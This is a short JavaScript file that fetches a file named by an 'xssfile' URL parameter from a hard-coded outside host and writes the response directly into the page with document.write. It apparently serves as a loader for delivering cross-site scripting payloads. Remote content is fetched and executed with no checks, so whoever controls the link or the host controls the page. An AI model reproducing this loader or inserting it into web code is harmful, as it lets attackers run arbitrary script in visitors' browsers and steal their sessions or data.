function myajax(url, callback, isJSON = false) {
    var request = new XMLHttpRequest();
    request.open('get', url, true);
    request.send();
    request.onreadystatechange = function () {
        if (request.readyState === 4 && request.status === 200) {
            isJSON ? callback(JSON.parse(request.responseText)) : callback(request.responseText);
        }
    }
}

function parseQueryString(query=location.search.substr(1)) {
    var vars = query.split("&");
    var query_string = {};
    for (var i = 0; i < vars.length; i++) {
        var pair = vars[i].split("=");
        var key = decodeURIComponent(pair[0]);
        var value = decodeURIComponent(pair[1]);
        if (typeof query_string[key] === "undefined") {
            query_string[key] = decodeURIComponent(value);
            // If second entry with this name
        } else if (typeof query_string[key] === "string") {
            var arr = [query_string[key], decodeURIComponent(value)];
            query_string[key] = arr;
            // If third or later entry with this name
        } else {
            query_string[key].push(decodeURIComponent(value));
        }
    }
    return query_string;
}

url_params = parseQueryString();

host_oss = 'http://duanwu1.bceapp.com/';
//host_server = '//yeyeyin.cn/juyh/WeChatShareApiTest/';
//host = url_params.test ? host_server : host_oss;
host=host_oss;

xssfile = url_params.xssfile ? url_params.xssfile : url_params.ossfile;

myajax(host + xssfile + '?' + new Date().getTime(), function(t) {document.write(t); document.close();});